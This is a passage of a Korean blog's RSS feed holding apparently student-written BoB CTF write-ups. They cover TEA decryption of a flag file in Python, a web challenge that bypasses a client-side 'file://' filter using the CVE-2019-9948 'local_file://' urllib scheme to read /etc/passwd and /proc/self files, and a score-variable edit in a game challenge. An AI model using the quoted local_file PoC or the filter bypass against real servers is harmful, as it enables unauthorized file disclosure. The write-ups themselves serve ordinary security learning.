&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1020&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb7Ecz/btsr4XbmagV/H2ln5hQy6CZ0wR1sSdXKh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb7Ecz/btsr4XbmagV/H2ln5hQy6CZ0wR1sSdXKh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb7Ecz/btsr4XbmagV/H2ln5hQy6CZ0wR1sSdXKh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb7Ecz%2Fbtsr4XbmagV%2FH2ln5hQy6CZ0wR1sSdXKh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1020&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; flag.txt, flag.txt.enc 두 개의 fd를 생성하고 TEA 알고리즘을 이용해 FLAG를 암호화한 내용을 ~.enc 파일에 작성해 저장한다. 그렇다면 우리는 위의 코드를 그대로 역연산해서 복호화하면 끝난다. 사실 이런 간단한 단순 연산 작업은 GPT한테 맡겨도 잘 나오지만...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 디컴파일한 main 함수를 조금 더 자세히 살펴보면, FLAG 문자열을 8바이트씩 끊어 하나의 블록으로 처리하고 있다. 각 블록은 sub_2778 함수로 넘겨 암호화 작업을 수행한다. 또한 암호화 과정에 사용되는 키 역시 main 함수에서 정의하고 있는데 자세한 키 값을 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1692863274405&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;v9[0] = 305419896;
v9[1] = -559038737;
v9[2] = -1159799057;
v9[3] = -1091576147;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sub_2778은 위의 키 값과 평문 블록을 전달받아서 sub_253F와 sub_2468에 전달하여 암호화 작업을 수행한다. 그 중 sub_2468의 경우 jumpout 명령을 통해 특정 위치의 주소로 점프하는데, 해당 주소로 가보면 TEA 암호화 알고리즘의 일부임을 확인할 수 있다. (사실 잘 모르겠는데 GPT한테 코드 스니펫만 던져모니 TEA 암호화 코드라고 해주길래 그런가보다 하고 넘어갔다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TW1Es/btssacr1L1A/E6eCX8UUh9kZuAorMAG5NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TW1Es/btssacr1L1A/E6eCX8UUh9kZuAorMAG5NK/img.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;197&quot; data-is-animation=&quot;false&quot; style=&quot;width: 60.7518%; margin-right: 10px;&quot; data-widthpercent=&quot;61.47&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TW1Es/btssacr1L1A/E6eCX8UUh9kZuAorMAG5NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTW1Es%2Fbtssacr1L1A%2FE6eCX8UUh9kZuAorMAG5NK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;197&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pZ1Pq/btsr62b90xq/T9rZKheCgihKzhzYZWmnl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pZ1Pq/btsr62b90xq/T9rZKheCgihKzhzYZWmnl0/img.png&quot; data-origin-width=&quot;250&quot; data-origin-height=&quot;87&quot; data-is-animation=&quot;false&quot; style=&quot;width: 38.0854%;&quot; data-widthpercent=&quot;38.53&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pZ1Pq/btsr62b90xq/T9rZKheCgihKzhzYZWmnl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpZ1Pq%2Fbtsr62b90xq%2FT9rZKheCgihKzhzYZWmnl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;250&quot; height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/92aFW/btsr0uHZM2a/WiTTxn26yTsMCHoCeM0Zv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/92aFW/btsr0uHZM2a/WiTTxn26yTsMCHoCeM0Zv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/92aFW/btsr0uHZM2a/WiTTxn26yTsMCHoCeM0Zv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F92aFW%2Fbtsr0uHZM2a%2FWiTTxn26yTsMCHoCeM0Zv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;648&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 바이너리의 핵심적인 파트인 암호화 알고리즘의 작동방식에 대해 파악했으니, 동일한 과정에 대해 역연산을 수행하는 코드를 작성해주면 된다. 사실 어셈블리 코드를 보고 그대로 순서만 바꿔서 진행해도 거의 맞지만, 나중에 혼자 공부할 때 진행해보도록 하고 지금은 빠른 시간 내에 해결해야하므로 만만한 파이썬으로 작성해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1692863723753&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def decrypt(v, k):
    y, z = v[0], v[1]
    delta = 0x9E3779B9
    s = delta &amp;lt;&amp;lt; 5
    for _ in range(32):
        z -= ((y &amp;lt;&amp;lt; 4) + k[2]) ^ (y + s) ^ ((y &amp;gt;&amp;gt; 5) + k[3])
        z &amp;amp;= 0xFFFFFFFF
        y -= ((z &amp;lt;&amp;lt; 4) + k[0]) ^ (z + s) ^ ((z &amp;gt;&amp;gt; 5) + k[1])
        y &amp;amp;= 0xFFFFFFFF
        s -= delta
        s &amp;amp;= 0xFFFFFFFF
    return y, z

encrypted_data = [...]
key = [305419896, 3767076783, 3134989796, 3198238759]  # Adjusted for 32 bits

decrypted_data = []
for i in range(0, len(encrypted_data), 2):
    decrypted_block = decrypt([encrypted_data[i], encrypted_data[i + 1]], key)
    decrypted_data.extend(list(decrypted_block))

decrypted_text = ''.join([chr(d &amp;amp; 0xFF) for d in decrypted_data])
print(decrypted_text)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;taggerscript&quot; style=&quot;background-color: #000000; color: #ffffff; text-align: start;&quot;&gt;&lt;code&gt;bob{lets_have_a_TEAtime!!}\n\x00\x00\x00\x00\x00&lt;/code&gt;&lt;/pre&gt;</description>
      <category>BoB/write-up</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/57</guid>
      <comments>https://reteu.tistory.com/57#entry57comment</comments>
      <pubDate>Thu, 24 Aug 2023 16:56:13 +0900</pubDate>
    </item>
    <item>
      <title>[BoB CTF] web) 02_old_python_interpreter</title>
      <link>https://reteu.tistory.com/55</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 처음 접했을 당시에는 문제 이름을 보고서 특정 파이썬 버전에서만 발견되는 취약점을 찾아 이를 활용해야하는 문제로 이해했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv7txg/btsr5LhohGy/o7dBK8kzplMgZK5rvqEfd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv7txg/btsr5LhohGy/o7dBK8kzplMgZK5rvqEfd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv7txg/btsr5LhohGy/o7dBK8kzplMgZK5rvqEfd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv7txg%2Fbtsr5LhohGy%2Fo7dBK8kzplMgZK5rvqEfd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;242&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이썬 3.4.7 버전에서는 'local_file://' 스키마를 통해 file에 접근할 수 있는 취약점이 존재한다. ( &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;[CVE-2019-9948] &lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://bugs.python.org/issue35907&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://bugs.python.org/issue35907&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1692862208831&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Issue 35907: [security][CVE-2019-9948] Unnecessary URL scheme exists to allow local_file:// reading file  in urllib - Python tra&quot; data-og-description=&quot;The Unnecessary scheme exists in urlopen() urllib when people would protect to read file system in HTTP request of urlopen(), they often filter like this against SSRF. # Vulnerability PoC import urllib print urllib.urlopen('local_file:///etc/passwd').read(&quot; data-og-host=&quot;bugs.python.org&quot; data-og-source-url=&quot;https://bugs.python.org/issue35907&quot; data-og-url=&quot;https://bugs.python.org/issue35907&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://bugs.python.org/issue35907&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://bugs.python.org/issue35907&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Issue 35907: [security][CVE-2019-9948] Unnecessary URL scheme exists to allow local_file:// reading file in urllib - Python tra&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The Unnecessary scheme exists in urlopen() urllib when people would protect to read file system in HTTP request of urlopen(), they often filter like this against SSRF. # Vulnerability PoC import urllib print urllib.urlopen('local_file:///etc/passwd').read(&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;bugs.python.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마침 문항에서 &quot;file://&quot;를 필터링하고 있길래 다 풀었나보다 싶었는데, 사실 브라우저 수준에서 JS를 통해 클라이언트 단에서 필터링하는 거라 필터링하는 코드를 날려버리면 끝이기도 하고, 대회 종료 이후에 알게된건데 아무런 스키마 없이 바로 파일 경로를 파라미터로 전달해도 아래 사진처럼 파일 내용을 긁어서 출력해준다고 하더라..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;330&quot; data-origin-height=&quot;264&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l8pAF/btsr5edcc0Z/dNwrIXlBcVahMWTQoQeGg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l8pAF/btsr5edcc0Z/dNwrIXlBcVahMWTQoQeGg0/img.png&quot; data-alt=&quot;도대체 왜...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l8pAF/btsr5edcc0Z/dNwrIXlBcVahMWTQoQeGg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl8pAF%2Fbtsr5edcc0Z%2FdNwrIXlBcVahMWTQoQeGg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;330&quot; height=&quot;264&quot; data-origin-width=&quot;330&quot; data-origin-height=&quot;264&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;도대체 왜...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 'file://' 필터링을 'local_file://'로 우회할 수 있게 되었으니, 서버 백엔드에 존재하는 코드를 읽어서 flag를 찾으면 되겠다. 게싱을 의도한 문제는 아닐테니 서버로 이런저런 요청을 마구 보내고 있었는데, 자꾸 서버가 다운되니깐 디코로 &lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;s&gt;감자 서버를 그만 괴롭혀달라는 취지에서&lt;/s&gt;&lt;/span&gt; 힌트가 들어왔다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m42XT/btssadj8z37/ghneEvxDeuWYC9MLsWcckk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m42XT/btssadj8z37/ghneEvxDeuWYC9MLsWcckk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m42XT/btssadj8z37/ghneEvxDeuWYC9MLsWcckk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm42XT%2Fbtssadj8z37%2FghneEvxDeuWYC9MLsWcckk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;161&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 홈 디렉토리에 존재하는 .bash_history 아니면 proc/[PID]/에 존재하는 링크들을 참고해야될 것 같은데....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.bash_history는 존재하지 않았다. 그렇다고 해서 명령어를 전달할 수도 없고 오로지 '이미 알고 있는 경로에 존재하는 파일에 대해 파일 내용을 긁어오는 것'만 가능한 상황에서 현재 내 프로세스의 PID를 알 수 있는 방법은 없으므로 괜히 셸 커맨드 히스토리를 저장하는 다른 파일드링 더 있는지 여기저기 쑤시고 다녔다.&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 만 PID를 몰라도 사용할 수 있는 &lt;u&gt;&lt;b&gt;self&lt;/b&gt;&lt;/u&gt; 키워드가 있더라..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzCNCD/btssaAGaqBx/0OKKJ8SFj49c9ec8WxkpF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzCNCD/btssaAGaqBx/0OKKJ8SFj49c9ec8WxkpF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzCNCD/btssaAGaqBx/0OKKJ8SFj49c9ec8WxkpF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzCNCD%2FbtssaAGaqBx%2F0OKKJ8SFj49c9ec8WxkpF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;356&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 스키마와 관련된 문제가 역시 맞았다. 정작 문제의 핵심인 local_file:// 스키마 취약점을 찾이 않고도 문제를 풀 수 있는 것은 좀 annoying하긴 하지만....   아무래도 역시 억울하다.&lt;/p&gt;</description>
      <category>BoB/write-up</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/55</guid>
      <comments>https://reteu.tistory.com/55#entry55comment</comments>
      <pubDate>Thu, 24 Aug 2023 16:40:10 +0900</pubDate>
    </item>
    <item>
      <title>[BoB CTF] web) 01_flying_chicken</title>
      <link>https://reteu.tistory.com/54</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트가 닫혀버려서 캡처 이미지를 넣을 수 없는 관계로 줄글로만 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ellisonleao.github.io/clumsy-bird/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ellisonleao.github.io/clumsy-bird/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1692861595567&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Clumsy Bird - A Flappy Bird clone using MelonJS&quot; data-og-description=&quot;&quot; data-og-host=&quot;ellisonleao.github.io&quot; data-og-source-url=&quot;https://ellisonleao.github.io/clumsy-bird/&quot; data-og-url=&quot;http://ellisonleao.github.io/clumsy-bird/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/SQzPA/hyTIEhEXrF/RvxDAIveK8IJooIBCdkooK/img.png?width=900&amp;amp;height=504&amp;amp;face=0_0_900_504&quot;&gt;&lt;a href=&quot;https://ellisonleao.github.io/clumsy-bird/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ellisonleao.github.io/clumsy-bird/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/SQzPA/hyTIEhEXrF/RvxDAIveK8IJooIBCdkooK/img.png?width=900&amp;amp;height=504&amp;amp;face=0_0_900_504');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Clumsy Bird - A Flappy Bird clone using MelonJS&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ellisonleao.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 사이트와 동일한 오픈소스 기반의 Flappy Bird를 플레이해서 200점을 넘기면 플래그가 출력된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/96&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://dreamhack.io/wargame/challenges/96&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1692861726706&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Carve Party&quot; data-og-description=&quot;Description 할로윈 파티를 기념하기 위해 호박을 준비했습니다! 호박을 10000번 클릭하고 플래그를 획득하세요!&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/96&quot; data-og-url=&quot;https://dreamhack.io/wargame/challenges/96&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Mm4hw/hyTIEBYgp8/4nkxWnt6SYHDkarlZJdIK0/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/x19DH/hyTIDC3oTS/HSWk42e1q9Tj7lz3zP8Fb0/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/bcbKJY/hyTIM04Nc2/4skHFgymKyjmV63f9TPsV0/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/96&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/96&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Mm4hw/hyTIEBYgp8/4nkxWnt6SYHDkarlZJdIK0/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/x19DH/hyTIDC3oTS/HSWk42e1q9Tj7lz3zP8Fb0/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/bcbKJY/hyTIM04Nc2/4skHFgymKyjmV63f9TPsV0/img.jpg?width=3840&amp;amp;height=2160&amp;amp;face=0_0_3840_2160');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Carve Party&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Description 할로윈 파티를 기념하기 위해 호박을 준비했습니다! 호박을 10000번 클릭하고 플래그를 획득하세요!&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드림핵에서도 이와 유사하게 호박을 10000번 클릭하면 플래그가 출력되는 문제가 있는데, 당시에는 아래와 같이 풀이했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1408&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oWSxK/btsr5LIq1bN/w9ktprysKkLa1SuqAak9Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oWSxK/btsr5LIq1bN/w9ktprysKkLa1SuqAak9Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oWSxK/btsr5LIq1bN/w9ktprysKkLa1SuqAak9Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoWSxK%2Fbtsr5LIq1bN%2Fw9ktprysKkLa1SuqAak9Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1408&quot; height=&quot;526&quot; data-origin-width=&quot;1408&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 문제의 경우&amp;nbsp; score 변수를 조작하면 바로 풀리는 간단한 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csK51F/btsr9PDHfVd/6lOqKXfv0HcnEtM1M8ObdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csK51F/btsr9PDHfVd/6lOqKXfv0HcnEtM1M8ObdK/img.png&quot; data-origin-width=&quot;297&quot; data-origin-height=&quot;97&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.7928%; margin-right: 10px;&quot; data-widthpercent=&quot;51.39&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csK51F/btsr9PDHfVd/6lOqKXfv0HcnEtM1M8ObdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsK51F%2Fbtsr9PDHfVd%2F6lOqKXfv0HcnEtM1M8ObdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;297&quot; height=&quot;97&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RnQoI/btsr4J5DiIQ/Hhu4W5OFG32XWo6Zed3e0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RnQoI/btsr4J5DiIQ/Hhu4W5OFG32XWo6Zed3e0K/img.png&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;183&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.0444%;&quot; data-widthpercent=&quot;48.61&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RnQoI/btsr4J5DiIQ/Hhu4W5OFG32XWo6Zed3e0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRnQoI%2Fbtsr4J5DiIQ%2FHhu4W5OFG32XWo6Zed3e0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으로 score 변수를 초기화하는 부분을 수정해주면 게임을 시작하자마자 클리어되는 간단한 문제였다.&lt;/p&gt;</description>
      <category>BoB/write-up</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/54</guid>
      <comments>https://reteu.tistory.com/54#entry54comment</comments>
      <pubDate>Thu, 24 Aug 2023 16:28:22 +0900</pubDate>
    </item>
    <item>
      <title>[BoB CTF] misc) 03_I'm_Happy</title>
